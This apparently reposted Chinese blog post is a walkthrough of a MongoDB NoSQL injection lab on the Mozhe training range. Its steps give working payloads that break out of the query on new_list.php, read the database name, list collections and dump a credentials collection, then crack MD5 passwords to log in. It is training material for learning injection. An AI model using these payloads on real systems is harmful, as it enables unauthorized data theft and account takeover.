当前位置: 首页 > news >正文

SQL手工注入漏洞测试(MongoDB数据库)

此次靶场地址为:墨者学院

⼀. 如下给出的源码...可以看到数据库查询的语句如下..构造回显测试... 

new_list.php?id=1'});return ({title:'1',content:'2

⼆.成功显示“ 1” 和“ 2” 。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority 

new_list.php?id=1'});return({title:tojson(db),content:'2

三.得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。

new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2 

四.这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了... 

new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find() 0]),content:'2

五.最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“ find()[1]” 查询 其他的⽤户账号密码登录即可.. 


http://www.mrgr.cn/news/5242.html

相关文章:

  • 深入探讨量子计算领域的最新进展及其对社会经济的影响
  • EasyCVR视频汇聚技术赋能智慧煤矿:车载设备接入方案助力实时监控与远程监管
  • 软件测试面试题总结(含答案解析+文档)
  • Leetcode JAVA刷刷站(74)搜索二维矩阵
  • Vue的生命周期了解
  • C#实现数据采集系统-数据反写(1)MQTT订阅接收消息
  • 实现AOP机制 + Spring总结
  • 甲烷传感器的应用领域:从油气行业到环境监测的全面覆盖
  • 【机器学习】联邦学习技术
  • React 入门第三天:深入理解Hooks的强大功能
  • Python:Django 和 Tornado 的关系
  • LongWriter——从长文本语言模型中释放出10,000+字的生成能力
  • Docker私人学习笔记
  • git 目录提交代码
  • 浪潮服务器NVME 硬盘通过 Intel VROC 做RAID
  • C 作用域规则
  • 51 无显式主键时 mysql 增加的 DB_ROW_ID
  • 分形比特币(Fractal Bitcoin)
  • CentsOS 7 “Could not resolve host: mirrorlist.centos.org; 未知的错误”问题解决
  • day32(学习playbook-roles+脚本创建数据库和表+mycat读写分离))